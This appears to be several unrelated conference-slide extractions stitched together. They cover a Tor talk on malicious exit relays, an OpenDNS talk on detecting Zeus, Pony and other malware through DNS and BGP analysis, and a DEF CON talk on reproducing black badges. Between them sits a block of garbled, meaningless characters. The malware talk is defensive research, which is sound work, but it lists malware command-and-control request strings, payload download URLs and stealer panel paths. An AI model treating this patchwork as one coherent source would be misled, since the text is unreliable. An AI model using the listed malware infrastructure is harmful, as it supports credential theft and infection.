Safety of the Tor network A look at network diversity, relay operators, and malicious relays Runa A. Sandvik • Developer for the Tor Project • Worked with/for Tor since GSoC 2009 • Frequent traveler What this talk is about • Is the Tor network a CIA honeypot? • Are all relays malicious? • Looked at all consensus files created between late 2007 and mid 2013 r OnionSoup CNImeTd8nvcBGTwfGZ2bCz8a7jw 6i1X8TC+YxGlTibB352JRwVHEu8 2012-09-17 22:00:03 87.195.253.3 9001 9030 s Exit Fast Guard HSDir Named Running V2Dir Valid v Tor 0.2.3.20-rc w Bandwidth=5800 p accept 80,110,143,443,993,995 r OnionSoup CNImeTd8nvcBGTwfGZ2bCz8a7jw 6i1X8TC+YxGlTibB352JRwVHEu8 2012-09-17 22:00:03 87.195.253.3 9001 9030 s Exit Fast Guard HSDir Named Running V2Dir Valid v Tor 0.2.3.20-rc w Bandwidth=5800 p accept 80,110,143,443,993,995 r OnionSoup CNImeTd8nvcBGTwfGZ2bCz8a7jw 6i1X8TC+YxGlTibB352JRwVHEu8 2012-09-17 22:00:03 87.195.253.3 9001 9030 s Exit Fast Guard HSDir Named Running V2Dir Valid v Tor 0.2.3.20-rc w Bandwidth=5800 p accept 80,110,143,443,993,995 r OnionSoup CNImeTd8nvcBGTwfGZ2bCz8a7jw 6i1X8TC+YxGlTibB352JRwVHEu8 2012-09-17 22:00:03 87.195.253.3 9001 9030 s Exit Fast Guard HSDir Named Running V2Dir Valid v Tor 0.2.3.20-rc w Bandwidth=5800 p accept 80,110,143,443,993,995 Number of relays in all countries The Tor Project − https://metrics.torproject.org/ 0 1000 2000 3000 2008 2009 2010 2011 2012 2013 High-level statistics • 95,314 unique nicknames • 1,595,879 unique IP address • 230,595 unique fingerprints • 195 different countries Top countries • The US • Germany • France • Russia • Netherlands • United Kingdom Top nicknames • Popular nicknames: Unnamed, default, ididnteditheconfig, idideditheconfig, MgeniUser, anonymous • anonymous (Germany, Sweden, US, Ukraine) versus Anonymous (US, Germany, Ukraine, Japan) • A lot of Orbot relays in the Middle East What is average? • Uptime • Lifetime • Bandwidth • Utilization So it’s all good? • China • Russia • Eastern European botnet Network diversity • Different relays owned by different people in different data centers in different parts of the world Number of relays with relay flags assigned The Tor Project − https://metrics.torproject.org/ 0 1000 2000 3000 May−2013 Jun−2013 Jul−2013 Relay flags Running Exit Guard Fast Stable From https://www.eff.org/pages/tor-and-https Malicious relays • SSL MITM • sslstrip • Plaintext only exit policy • Anti-virus filter blocking sites • Dropping TLS connections for multiple sites Snakes on a Tor (SoaT) • Scans the Tor network for misbehaving and misconfigured exit relays • Several tests, including HTML, javascript, arbitrary HTTP, SSL, DNS scans • A number of relays banned since 2010, but SoaT is currently not maintained How to ban a relay • BadExit flag set by directory authorities • 36,356 unique IP addresses, tied to 264 unique nicknames, with the BadExit flag Where do we go from here?
pdf
                     ! " # $ % &' ( ) * * * + , - - . / 0 ! " 1 2 3 0 4 5 $ " 2 6 7 8 " 2 0 ! % 9 % $ 8 : 8 ; : % % ! < 8 ' % = : 8 ; : % % " 2 9 ! 8 8 2 9 % > 0 ! 8 ? 1 ' 0 ; ! 8 4 " 2 % ! " @ 1 % 8 " % 0 ; 4 A ! B 4 " 9 " % 1 ; 4 8 ! % $ 8 % 8 ! B 2 9 % $ 8 C D E C 8 ; 8 ! 0 7 F 1 @ 7 " ' G " ' 8 ; 2 8 0 2 1 @ 7 " 2 $ 8 4 @ % $ 8 H ! 8 8 I 9 % > 0 ! 8 H 1 ; 4 0 % " ; ? 8 " % $ 8 ! J 8 ! 2 " ; , 9 % $ 8 G " ' 8 ; 2 8 K ! &0 % 1 ! % " ; ( 0 ; 7 0 % 8 ! J 8 ! 2 " ; = L M N O P Q R Q S P T U V W X Y Z [ \ V ] ^ _ _ ` a _ b a _ c _ ^ O ^ \ O _ b S W d U S e Y d L f g h i  j k l i m k  n o k  i p q p r s t t u v w t x y t z { | x z } ~ } ~ }  €  ‚ ƒ „ „ † ‡ „ ˆ ‰ Š ‹ „ Œ  € Ž „ ˆ  Š ƒ I 1 ! % 8 4  1 2 5 8 2 ‘ ’ F “ K F “ ” K • I :  € – Š ˆ Š ƒ ƒ „ ƒ I 1 ! % 8 4  1 2 5 8 2 ‘ —  € ˜ Š  „ – € ˆ I 1 ! % 8 4  1 2 5 8 2 ‘ —  € ˜ – †  I 1 ! % 8 4  1 2 5 8 2 ‘ —  € ™  ‹ ˆ € ‹ € ‡ ˆ € ƒ ƒ „ ˆ I 1 ! % 8 4  1 2 5 8 2 ‘ —  € – ˆ € š ˆ Š   Š › ƒ „ œ Š ˆ  ž Š ˆ „ I 1 ! % 8 4  1 2 5 8 2 ‘ —  € Ÿ „ „ ƒ € ‚  „ ‡ ¡ € Š ˆ  I 1 ! % 8 4  1 2 5 8 2 ‘ ’ F “ K F “ ” K • I : K ¢ D — K % $ 8 ! — £ „ ¤ ¥ € ¦ € ‡ § Œ † ‡ „ ˆ ‰ Š ‹ „ I 1 ! % 8 4  1 2 5 8 2 ‘ • I : ¨ ‡  © ª «  Š ¬ „ ˆ §Œ † ‡ „ ˆ ‰ Š ‹ „ I 1 ! % 8 4  1 2 5 8 2 ‘ • I : ) p q ­ ® ¯ ° ° t s ± { ² ³ ´ s ¯ µ ¶ ± · z } ~ ¸ ~ }  €  ‚ ƒ „ „ † ‡ „ ˆ ‰ Š ‹ „ Œ  ¹ ƒ  ‚ ƒ „ ¦ } ~ ¸ ~ ¸  €  ‚ € ‡ „ ‡ Œ º » ™ ¼ ¦ ¦ ™ € › ©   ‹ ½ „ ‚ ¹ ˆ ‚ € Œ „  ¾ „ © Œ ‚ Š ‡ ¨  Š ‚ „ ˆ ¿ À  Á  j o k  i ­ q p r s t t u v w t x  ¯ ¶ s ± t  ¯ à · Ä ² s t Å ˆ „ „   Š š ­ q ­ ® ¯ ° ° t s ± { ² ³  ¯ à · Ä ² s t Æ ¨ ˜   ™ Ç Æ ª È ¨ ¹   Œ ‚ „ ‹  É ‹ Ê « ‚ Ë È È ‹ Š ˆ ƒ „ © Œ € ‰ ž Š ˆ „ ~ ‹ €  È Ž Š  Ì „ ‹ ¨ ‹  „ Í Ç Î £ Š Š Œ ‹ Š ‡ € € ƒ Š Œ € ¹ ˆ ‹ „ ‰ € ˆ š „ Ï Ð € ‚ „ ‡   Š š Ê Ñ   Ò  Ó i i Á  Ô i Ò Ô Õ q p ® ¯ ° ° t s ± { ² ³ ´ s ¯ µ ¶ ± · z ½  Æ ¨   ™ Ì „ Œ › € € ¬ ¨ ¹ € Ì Š ‚ ,
pdf
CATCHING  MALWARE  EN  MASSE  :  DNS  &  IP  STYLE Dhia  Mahjoub @DhiaLite [email protected] Thibault  Reuille   @ThibaultReuille   [email protected] Andree  Toonk @atoonk [email protected] DHIA  MAHJOUB 2 •  Senior  Security  Researcher  at  OpenDNS •  PhD  graph  theory  applied  on  sensor  networks •  Security,  graphs,  data  analysis •  @DhiaLite THIBAULT  REUILLE 3 •  Security  Researcher  at  OpenDNS •  Former  SoGware  Engineer  @  NVIDIA •  Security  and  VisualizaLon  ? •  @ThibaultReuille ANDREE  TOONK 4 •  Manager  of  Network  Engineering  at  OpenDNS •  Founder  and  lead  of  BGPMon.net •  @atoonk Agenda OpenDNS  presentaLon Catching  Malware  DNS  Style Catching  Malware  IP  style 3D  Data  VisualizaLon Conclusion OpenDNS'  Network  Map STUB CLIENTS RECURSIVE NAME SERVERS AUTHORITATIVE NAME SERVERS root tld domain.tld DNS  Traffic Catching  Malware  DNS  style Crimeware  Ecosystem DNS  style Crimeware  Ecosystem DNS  style InvesNgaNon  Process Zbot  fast  flux proxy  network Track  CnCs  w/ hadoop Track  CnCs  w/ streaming  DNS IdenLfy malware phoning  to  CnCs Pony  panel  on proxy  network Stats  about domains,  clients and  samples DNS  style Fast  Flux  Networks •  DNS-­‐based  redundancy/evasion  technique •  Fast  flux  domain  resolves  to  many  IPs,  many  ASNs,  many CCs,  relaLvely  low  TTL •  Fast  flux  domain  resolves  to  1  IP  with  TTL=0 •  Ex  :  Trojan  CnCs,  spam,  scam,  pharmacy,  daLng  domains DNS  style Fast  Flux  Proxy  Networks  (ex:  Zbot) CnCs Targets Kelihos  TTL  =  0 Zbot  TTL  =  150 DNS  style Zeus  Crimeware  (1/2) DNS  style ConfiguraLon  file Web  injects Zeus  builder Binary  file Zeus  Crimeware  (2/2) DNS  style Control  panel Zeus  Timeline DNS  style Zeus  CnCs Compromised Sites Bulletproof HosLng Fast  Flux  Botnet DNS  style Zeus  CnC  URLs ConfiguraLon  Files Binary  Files Drop  Zones DNS  style Zeus  CnC  detecNon  Methods 1)  Periodic  batch  pig  job  (Hadoop  script) 2)  IP  harvesLng  +  streaming  authoritaNve  DNS  +  filtering heurisLcs DNS  style DetecNon  with  Hadoop •  Periodic  Pig  job  extracts  domains  with  TTL  =  150 •  Build  “domain  to  IP”  biparNte  graph •  Extract  largest  connected  component •  IdenLfy  new  zbot  CnCs  to  block •  Add  IPs  from  largest  connected  component  to  pool  of  zbot  IPs DNS  style AuthoritaNve  DNS  Stream ASN,  Domain,  2LD,  IP,  NS_IP,  Timestamp,  TTL,  type •  100s  –  1000s  entries/sec  (from  subset  of  resolvers) •  Need  to  implement  own  filters,  detecLon  heurisLcs •  Faster  than  DNSDB  on  Hadoop DNS  style DetecNon  with  DNS  stream •  Seed  of  known  Zbot  CnCs •  Harvest  IPs  and  add  them  to  pool  of  Zbot  IPs •  Extract  domains  with  IP  or  NS_IP  in  Zbot  IP  pool •  Add  new  Zbot  CnCs  to  seed DNS  style Data  VisualizaNon DNS  style Zbot  CnC  domains  –  IP  biparLte  graph Workflow DNS  style SemanNcNet  Library #!/usr/bin/env  python import  semanLcnet  as  sn graph  =  sn.Graph() a  =  graph.add_node({  "label"  :  “A”  }) b  =  graph.add_node({  "label"  :  “B”  }) c  =  graph.add_node({  "label"  :  “C”  }) graph.add_edge(a,  b,  {  "type"  :  “belongs”  }) graph.add_edge(b,  c,  {  "type"  :  “owns”  }) graph.add_edge(c,  a,  {  "type"  :  “has” graph.save_json(“dataset.json”) DNS  style INSERT  DOMAIN-­‐IP  OVER  TIME  VISUALIZATION -­‐  We  have  graph  data  with  detecLon  methods -­‐  We  create  graph  with  SemanLcNet -­‐  Load  in  GraphiL  and  apply  force  directed -­‐  Build  event  Lmeline -­‐  Viz  over  Lme Results Zeus Citadel KINS & Ice  IX Config  URLs Binary  URLs Drop  Zone  URLs Misc Phishing Asprox DNS  style Results  :  Zeus  urls DNS  style Results  :  Citadel  urls DNS  style Results  :  KINS  &  Ice  IX  urls DNS  style Results  :  Phishing DNS  style Results  :  Asprox  (1) DNS  style Results  :  Asprox  (2) DNS  style Results  :  Misc •  Madness  Pro  (Ddos  bot)  phoning  home netom.in,  GET  /1/?uid=17428742&ver=1.14&mk=bb3b62&os=WinXP&rs=adm&c=1&rq=0 with  several  occurring  OS  versions: os=S2000 os=Win07 os=Win_V os=WinXP os=Win08 DNS  style Results  :  Misc •  Downloading  binaries  and  configs azg.su,  GET  /coivze7aip/modules/bot.exe tundra-­‐tennes.com,  GET  /infodata/soG32.dll tundra-­‐tennes.com,  GET  /info-­‐data/soG32.dll bee-­‐pass.com,  GET  /info/soG32.dll quarante-­‐ml.com,  GET  /nivoslider/jquery/ quarante-­‐ml.com,  GET  /nivoslider98.45/ajax/ quarante-­‐ml.com,  GET  /nivoslider98.45/jquery/ tundra-­‐tennes.com,  GET  /nivoslider/ajax/ DNS  style Results  :  Pony  Panel  Discovery marmedladkos.com DNS  style Results  :  Pony  Panel  Discovery •  Pony  1.9  leaked  for  Trojan  Forge  in  late  2012 •  Info  stealer •  Win32/Fareit Payload  delivered  via: •  Drive-­‐by/Exploit  kit •  Avachment  in  spam  emails DNS  style Results  :  Pony  Panel  Discovery DNS  style DNS  style Results  :  Pony  Panel  Discovery -­‐p/Panel.zip  —  controlling  php  scripts -­‐includes/design/images/modules/*  —  images  for  each  zeus  plugin supported/tracked -­‐includes/password_modules.php  —  contains  array  with  all  soGware  it tries  to  steal  credenLals  for -­‐includes/database.php  —  contains  db  schema  and  accessors -­‐character  set  cp1251  used  everywhere -­‐mysql  storage  engine  is  MyISAM -­‐config.php  date_default_Lmezone_set(‘Europe/Moscow’) DNS  style Results  :  Pony  Panel  Discovery DNS  style Results  :  Pony  Panel  Discovery DNS  style Results  :  Pony  Panel  Discovery DNS  style Results  :  Pony  Panel  Discovery Google  search  of  disLncLve  key  terms DNS  style malware Results  :  Pony  Panel  Discovery DNS  style Results  :  Pony  Panel  Discovery epvpcash.net16.net/Panel/temp/ hg{g{g{fg.net/pony/temp/ hvp://pantamaL.com/dream/Panel/temp/ hvp://pantamaL.com/wall/Panel/temp/ mastermetr.ru/steal/Panel/temp/ microsoG.blg.lt/q/temp/ santeol.su/p/temp/ terra-­‐araucania.cl/pooo/temp/ thinswares.com/panel/temp/ www.broomeron.com/pn2/temp/ www.kimclo.com/cli/temp/ www.sumdfase2.net/adm/temp/ www.tripplem2.com/images/money/temp/ DNS  style Results  :  TLD  distribuNon Sample  of  925  zbot  CnC  domains DNS  style Results  :  Bots  geo-­‐distribuNon Sample  of  170,208  IPs  of  the  zbot  proxy  network  Map DNS  style UA  28  % RU  38  % Results  :  Bots  geo-­‐distribuNon DNS  style Results  :  Clients  phoning  to  CnCs 2,220,230  DNS  lookups  to  CnCs  over  24  hours  Map DNS  style US  59  % Results  :  Clients  phoning  to  CnCs DNS  style CnC  domains  and  related  samples -­‐Sample  of  337  zbot  CnC  domains -­‐208  different  samples  (sha256  communicated  with  the  CnCs) Top  recorded  sample  names: Trojan[Spy]/Win32.Zbot TrojanDownloader:Win32/Upatre -­‐Upatre  is  used  as  a  downloader  for  Zeus  GameOver -­‐Sent  as  avachment  in  spam  emails  delivered  by  Cutwail  botnet DNS  style Summary •  Zbot  fast  flux  proxy  network  is  very  versaNle •  MulN-­‐purpose  based  on  clients’  needs •  CnCs  for  Zeus,  Citadel,  Ice  IX,  KINS,  Asprox,  Madness  Pro,  phishing, Pony  panel •  Serve  all  types  of  Zeus  urls:  config,  binary  and  drop  zones •  .ru,  .su,  .com  most  abused  TLDs •  Bots  concentrated  in  Russia,  Ukraine •  Targeted  vicNms  concentrated  in  the  US DNS  style Catching  Malware  IP  style Catching  Malware  IP  style Sub-­‐allocated  ranges ASN  graph  topology Use  case  #1 Malicious  sub-­‐allocated  ranges IP  style InvesNgaNon  Process Monitor  domains  & IPs  from  traffic  and blacklist Study  sub-­‐allocated IP  ranges  & fingerprints Study  bad  actors’ TTP  in  their  choice of  infrastructure  & Lming PredicLvely  block IPs  desLned  for avacks Generalize predicLons Study  shiG  in  bad actors’  TTP IP  style OVH Canada Ukraine Russia •  Same  customer  reserving  IPs •  IPs  exclusively  used  for  avacks •  Bring  IPs  online  in  bulk •  Customer  Unknown •  Bring  conLguous  IPs  online 1  at  a  Lme  or  random •  Customer  Unknown •  Bring  conLguous  IPs  online 1  at  a  Lme  or  random 7  days 7  days Name  servers  always  stayed on  OVH  IP  ranges Months •  Same  customer  reserving  IPs •  Using  recycled  IPs  for  avacks IP  style Malicious  sub-­‐allocated  ranges IP  style Malicious  sub-­‐allocated  ranges •  hvp://labs.umbrella.com/2014/02/14/when-­‐ips-­‐go-­‐nuclear/ •  Take  down  operaLons  of  domains IP  style PredicNng  malicious  domains  IP  infrastructure IP  style Tracking  OVH  reserved  ranges IP  style Time  period Nb.  ranges   Nb.  IPs   Nb.  IPs  used   Usage Dec  1st  -­‐31st  2013 28  ranges 136  IPs   86  used 63%  malicious Jan  1st  -­‐  31st  2014 11  ranges 80  IPs 33  used 41%  malicious Feb  1st  -­‐  28th  2014   4  ranges 28  IPs 26  used 92%  malicious Mar  1st  -­‐  20th  2014   43  ranges 364  IPs   215  used 59%  malicious •  Used  for  Nuclear  EK  domains,  Nuclear  domains’  name  servers,  and  browlock Tracking  OVH  reserved  ranges •  86  ranges  are  all  in  these  prefixes  388  198.50.128.0/17  128  192.95.0.0/18  80  198.27.64.0/18  12  142.4.192.0/19 IP  style IP  style 31.41.221.131  -­‐  31.41.221.143 22/tcp  open  ssh  OpenSSH  5.5p1  Debian  6+squeeze4  (protocol  2.0) 80/tcp  open  hpp  nginx  web  server  0.7.67 111/tcp  open  rpcbind 5.101.173.1  -­‐  5.101.173.10 22/tcp  open  ssh  OpenSSH  6.0p1  Debian  4  (protocol  2.0) 80/tcp  open  hpp  nginx  web  server  1.2.1 111/tcp  open  rpcbind FingerprinLng  malicious  ranges FingerprinNng  malicious  ranges IP  style 198.50.143.64  -­‐  198.50.143.79 22/tcp  open  ssh  OpenSSH  5.5p1  Debian  6+squeeze4  (protocol  2.0) 80/tcp  open  hpp  nginx  web  server  0.7.67 445/tcp  filtered  microsos-­‐ds •  Combine  indicators  and  generalize  to  other  threats -­‐>  Block/quaranNne  IPs  before  they  start  hosNng  domains DetecNng  Malicious  Subdomains  under Compromised  domains IP  style InvesNgaNon  Process Detect  subdomains injected  under compromised domains Collect  subdomains, domains  and hosLng  IPs Track  most  abused ASNs Track  most  abused hosters Study  evoluLon  of bad  actors’  TTP over  Lme Analyze  subdomain labels IP  style Malicious  subdomains  under  compromised  domains •  Detect  malicious  subdomains  injected  under  compromised domains,  most  notably  GoDaddy  domains •  Subdomains  serving  Exploit  kits  (e.g.  Nuclear,  Angler,  FlashPack), browlock,  malverLsing •  Various  payloads  dropped  (e.g.  zbot  variants,  kuluoz) •  Monitoring  paverns  for  5+  months  (Feb  2014-­‐present) IP  style Malicious  subdomains  under  compromised  domains •  Sample  of  several  hundred  IPs  hosLng  malicious  subdomains •  Top  5  abused  ASNs §  16276  OVH  SAS  (18%  of  total  collected  malicious  IPs) §  24961  myLoc  managed  IT  AG §  15003  Nobis  Technology  Group,  LLC §  41853  LLC  NTCOM §  20473  Choopa,  LLC IP  style Before Now Abuse  ccTLDs  (e.g.  .pw,  .in.net,  .ru, etc)  using  rogue/vicLm  resellers/ registrars Supplement  with  abusing compromised  domains Use  reserved  IPs  exclusively  for Exploit  kit,  browlock  avacks Supplement  with  using  recycled IPs  that  hosted  legit  content  in  the past Bring  avack  IPs  online  in conNguous  chunks Supplement  with  bringing  IPs  up  in randomized  sets  or  one  at  a  Nme Abuse  OVH  Canada:  possible  to predicLvely  correlate  rogue customers  with  avack  IPs  through ARIN  rwhois Abuse  OVH  Europe  spanning numerous  countries’  IP  pools  (e.g. FRA,  BEL,  ITA,  UK,  IRE,  ESP,  POR, GER,  NED,  FIN,  CZE,  RUS) IP  style Small  abused  or  rogue  hosNng  providers •  hvp://king-­‐servers.com/en/  hosted  Angler,  Styx,  porn,  pharma •  Described  on  WOT  “offers  bulletproof  hosLng  for  Russian-­‐Ukrainian criminals” IP  style Small  abused  or  rogue  hosNng  providers •  hvp://evrohoster.ru/en/  hosted  browlock  through  redirecLons  from porn  sites IP  style Small  abused  or  rogue  hosNng  providers •  hvp://www.qhoster.bg/  hosted  Nuclear IP  style Small  abused  or  rogue  hosNng  providers •  hvp://www.electrickiven.com/web-­‐hosLng/ IP  style Small  abused  or  rogue  hosNng  providers •  hvp://www.xlhost.com/  hosted  Angler  EK  domains •  hvps://www.ubiquityhosLng.com/  hosted  browlock. •  hvp://www.codero.com/ •  hvp://hosLnk.ru/ IP  style String  Analysis  of  injected  subdomains •  Sample  of  19,000+  malicious  subdomains  injected  under  4,200+  compromised GoDaddy  domains •  12,000+  different  labels •  Top  5  used  labels: §  police §  alertpolice §  css §  windowsmoviemaker §  solidfileslzsr IP  style String  Analysis  of  injected  subdomains IP  style Catching  Malware  IP  style ASN  graph  topology Sub-­‐allocated  ranges INTERNET  101  &  BGP IP  style INTERNET  101  &  BGP IP  style MEET  THE  INTERNET Network  of  Networks,  it’s  a  Graph! Each  organizaLons  on  the  Internet is  called  an  Autonomous  system. Each  dot  represents  an Autonomous  system  (AS). AS  is  idenLfied  by  a  number. OpenDNS  is  36692,  Google  is 15169. Each  AS  has  one  or  more  Prefixes. 36692  has  56  (ipv4  and  IPv6) network  prefixes. BGP  is  the  glue  that  makes  this work! IP  style AS  graph •  BGP  rouLng  tables •  Valuable  data  sources •  Routeviews •  Cidr-­‐report •  Hurricane  Electric  database •  510,000+  BGP  prefixes •  48,000+  ASNs IP  style AS  graph •  Route  Views  hvp://archive.routeviews.org/bgpdata/ IP  style AS  graph •  Cidr  Report  hvp://www.cidr-­‐report.org/as2.0/ IP  style AS  graph •  Hurricane  Electric  database  hvp://bgp.he.net/ IP  style AS  graph •  Build  AS  graph •  Directed  graph:  node=ASN,  a  directed  edge  from  an  ASN to  an  upstream  ASN •  TABLE_DUMP2|1392422403|B|96.4.0.55|11686|67.215.94.0/24| 11686  4436  2914  36692|IGP|96.4.0.55|0|0||NAG|| IP  style AS  graph Focus  of  this  study: •  Peripheral  ASNs  that  are  siblings,  i.e.  they  have  common parents  in  the  AS  graph  (share  same  upstream  AS) •  Cluster  peripheral  ASNs  by  country •  Find  interesLng  paverns:  certain  siblings  in  certain countries  are  delivering  similar  suspicious  campaigns IP  style SemanNcNet  Library #!/usr/bin/env  python import  semanLcnet  as  sn graph  =  sn.Graph() a  =  graph.add_node({  "label"  :  “A”  }) b  =  graph.add_node({  "label"  :  “B”  }) c  =  graph.add_node({  "label"  :  “C”  }) graph.add_edge(a,  b,  {  "type"  :  “belongs”  }) graph.add_edge(b,  c,  {  "type"  :  “owns”  }) graph.add_edge(c,  a,  {  "type"  :  “has” graph.save_json(“dataset.json”) DNS  style IP  style ParNcle  Physics IP  style Canadian  AS  Network INSERT  FORCE  DIRECTED  EXPANSION  VIDEO  HERE IP  style ParallelizaNon IP  style Why  ? •  Data  driven  vs  user-­‐driven •  Layout  closer  to  the  “natural  shape”  of  data  structure •  Take  advantage  of  the  GPU  for  acceleraLon •  Humans  are  good  at  processing  shapes  and  colors IP  style Data  VisualizaNon IP  style Global  ASN  graph Full  AS  Network OpenCL  IteraNons IP  style OpenCL  (~1h  later) IP  style Full  AS  Network IP  style Full  AS  Network IP  style Full  AS  Network IP  style ASN  Network  (Ukraine) IP  style Use  Case  #2 Suspicious  Sibling  Peripheral  ASNs IP  style InvesNgaNon  Process Monitoring domains  &  IPs  from traffic  and  blacklist Study  IP  ranges  & fingerprints Study  relaLonships between  ASNs Propose  ASN  based detecLon  model Study  BGP  outages Confirm  model IP  style •  Taking  a  sample  of  160  live  IPs  from  malicious  domains •  /23  or  /24  serving  TrojWare.Win32.KrypLk.AXJX •   Trojan-­‐Downloader.Win32.Ldmon.A Study  IP  ranges  and  fingerprints IP  style Study  IP  ranges  and  fingerprints IP  style 50  IPs  with: 22/tcp  open  ssh  OpenSSH  6.2_hpn13v11  (FreeBSD  20130515;  protocol  2.0) 8080/tcp  open  hvp-­‐proxy  3Proxy  hvp  proxy Service  Info:  OS:  FreeBSD 108  IPs  with: 22/tcp  open  ssh  OpenSSH  5.3  (protocol  1.99) 80/tcp  open  hvp? Server  setup  is  similar  ! Study  IP  ranges  and  fingerprints IP  style Propose  ASN  based  detecNon  model SPN  Concept  (Sibling  Peripheral  Nodes) IP  style Study  relaLonships  between  ASNs •  January  8th  topology  snapshot,  Ukraine,  Russia •  10  sibling  peripheral  ASNs  with  2  upstream  ASNs IP  style •  February  21st  topology  snapshot,  Ukraine,  Russia •  AS31500  stopped  announcing  its  downstream  ASNs'  prefixes  ! •  More  peripherals  started  hosLng  suspicious  payload  domains  ! Study  relaLonships  between  ASNs IP  style •  3100+  malware  domains  on  1020+  IPs  ! •  Payload  URLs  were  live  on  enLre  IP  ranges  before  any domains  were  hosted  on  them •  Seems  the  IP  infrastructure  is  set  up  in  bulk  and  in  advance hvp://pastebin.com/X83gkPY4 Study  relaLonships  between  ASNs IP  style Data  VisualizaNon SPN  Concept  (Sibling  Peripheral  Nodes) IP  style TODO Applied  Dataviz  (Color  connecLons)  +  SPN  model  on previous  ASN  list +  Videos  of  interacLve  extracLon  (If  possible) +  Story  of  finding  (ASN  hosLng  escort  service websites) Graph  Topology IP  style SPN  DetecNon IP  style SPN  DetecNon IP  style STUDY  BGP  OUTAGES IP  style BGP  MESSAGES Two  important  BGP  message  types: 1.  Update  messages  to  announce  a  new  path  for  a  one  or  more  prefixes 2.  Withdrawal  messages  to  inform  BGP  speakers  that  a  certain  prefix  can no  longer  be  reached. By  correlaLng  these  messages  we  can  detect  outages  globally  and  in  real Lme IP  style OVERLAPPING  BGP  OUTAGES 57604 8287 50896 49236 29004 45020 44093 48949 49720 50818 48361 57604 x 20 17 12 22 16 11 24 20 13 5 8287 20 x 41 15 17 17 15 18 18 15 5 50896 17 41 x 17 16 17 18 19 16 18 7 49236 12 15 17 x 8 15 13 8 12 17 3 29004 22 17 16 8 x 12 22 28 18 9 6 45020 16 17 17 15 12 x 12 12 12 15 4 44093 11 15 18 13 22 12 x 16 10 13 6 48949 24 18 19 8 28 12 16 x 20 9 8 49720 20 18 16 12 18 12 10 20 x 10 4 50818 13 15 18 17 9 15 13 9 10 x 4 48361 5 5 7 3 6 4 6 8 4 4 x IP  style OVERLAPPING  BGP  OUTAGES 57604 29004 48361 57604 22 5 29004 22 6 48361 5 6 IP  style ISP  48361 AS57604  91.233.89.0/24 AS29004  195.39.252.0/23 no  outage down  for  35  minutes  2013-­‐07-­‐12  18:53  -­‐  2013-­‐07-­‐12  19:28 down  for  36  minutes  2013-­‐07-­‐12  18:53  -­‐  2013-­‐07-­‐12  19:29 no  outage down  for  497  minutes  2013-­‐07-­‐12  21:33  -­‐  2013-­‐07-­‐13  05:50 down  for  497  minutes  2013-­‐07-­‐12  21:33  -­‐  2013-­‐07-­‐13  05:50 no  outage down  for  479  minutes 2013-­‐07-­‐22  21:57  -­‐  2013-­‐07-­‐23  05:56 down  for  479  minutes 2013-­‐07-­‐22  21:57  -­‐  2013-­‐07-­‐23  05:56 no  outage down  for  33  minutes  2013-­‐07-­‐23  18:51  -­‐  2013-­‐07-­‐23  19:24 down  for  33  minutes 2013-­‐07-­‐23  18:51  -­‐  2013-­‐07-­‐23  19:24 no  outage down  for  63  minutes  2013-­‐07-­‐29  04:54  -­‐  2013-­‐07-­‐29  05:57 down  for  63  minutes  2013-­‐07-­‐29  04:54  -­‐  2013-­‐07-­‐29  05:57 IP  style •  Unique  approach  for  finding  related  ASNs •  Overlapping  outages  could  mean •  Most  likely  relying  on  same  infrastructure •  Same  Data  center •  Same  RouNng  /  Switching  infrastructure •  Same  organizaNon  hiding  behind  different  ASNs IP  style Conclusion •  Zbot  fast  flux  proxy  network •  InvesLgate  IP  space:  AS  graph  topology  and  sub-­‐allocated  ranges •  Detect  suspicious  sibling  peripheral  ASNs •  Detect  sibling  ASNs  using  BGP  outages  monitoring •  Predict  malicious  IP  ranges •  Detect  malicious  subdomains  under  compromised  domains •  Novel  3D  visualizaNon  engine  for  graph  navigaLon  and  invesLgaLon IP  style References •  Distributed  Malware  Proxy  Networks,  B.  Porter,  N.  Summerlin,  BotConf  2013 •  hvp://labs.opendns.com/2013/12/18/operaLon-­‐kelihos-­‐presented-­‐botconf-­‐2013/ •  hvp://blog.malwaremustdie.org/2013/12/short-­‐talk-­‐in-­‐botconf-­‐2013-­‐kelihos.html •  hvps://zeustracker.abuse.ch/ •  hvp://www.malware-­‐traffic-­‐analysis.net/ •  hvp://techhelplist.com/index.php/tech-­‐tutorials/41-­‐misc/465-­‐asprox-­‐botnet-­‐ adverLsing-­‐fraud-­‐general-­‐overview-­‐1 •  VirusTotal IP  style DHIA  MAHJOUB  @DhiaLite •  Senior  Security  Researcher THIBAULT  REUILLE  @ThibaultReuille •  Security  Researcher ANDREE  TOONK  @atoonk •  Manager  of  Network  Engineering Thank  you  ! (Q/A) www.OpenGraphiN.com
pdf
Black Badge Uber Alles ???? Agenda 1. Who are we 2. Why do this 3. Dc 22 4. Dc 14 5. Dc 23 6. Thank you 7. QA 8. Fin Who are these hackers on stage DC503 members Jesse - human computer Kenny - human pick and place machine Mike - Senior Trouble Maker Mickey - least israeli israeli person mike knows Joe - Intel (reformed) Dean - bricker of all things Motivation For the lulz Standing in line sucks 1o57 said it was not possible Because we can DC22 DC22 - Background -  Open source human badge schematics released after defcon. -  Playing around with them -  Hey, can we make a black badge? -  We , kind of, know how to EAGLE. Not to dip trace -  And we love 1o57, we wanted to surprise him. DC22 - How -  Found human badge schematics online and used as reference -  DipTrace and EAGLE - the battle. -  Reversing the silk screen hours of photo manipulation and google searching! -  Reversing the board and the BOM (what part goes where) -  The story of Fabrication and dickbutt. - How it ended up - We won the Badge hacking contest! - Compared to a real DC22 BB side by side and operating. Release Gerbs DC22 - Result - How it ended up - We won the Badge hacking contest! - Compared to a real DC22 BB side by side and operating. DC14 DC14 - We love you Joe Grand! (no, really, he is the sweetest) - Why this one? - background story - Seemed to be the easiest, but let me tell you... - How we did it - Built from scratch, using EAGLE. - Funny story about free EAGLE and 80cm. - Funnier story about Board fabrication. - Overnight fabrication and late night DC hotel soldering - How it ended up - Compared to the real deal <sausage making process> <DC14 board view in eagle> WINNAR DC23 DC23 DC23 (Mickey, Mike, Dean) - Background - Why? Because Lost said it couldn't be done. DC23 DC23 (Mickey, Mike, Dean) - Background - Why? Because Lost said it couldn't be done. - How we did it - social engineer the only guy in the world who makes captured lightning thingies - No, seriously, The type used by Lost is no longer made on earth, so a special order had to be made. DC23 DC23 (Mickey, Mike, Dean) - The radiation - Getting a lead pig. Thats a real term. - Getting a geiger counter. funny story... it work in russian only... hard core counting. - Uraniuum marbles, tritium, trinitite , uranium ore. - The coin. - How it ended up - We are still working on it right now, and we will have it ready by Defcon. Thank you Questions?
pdf
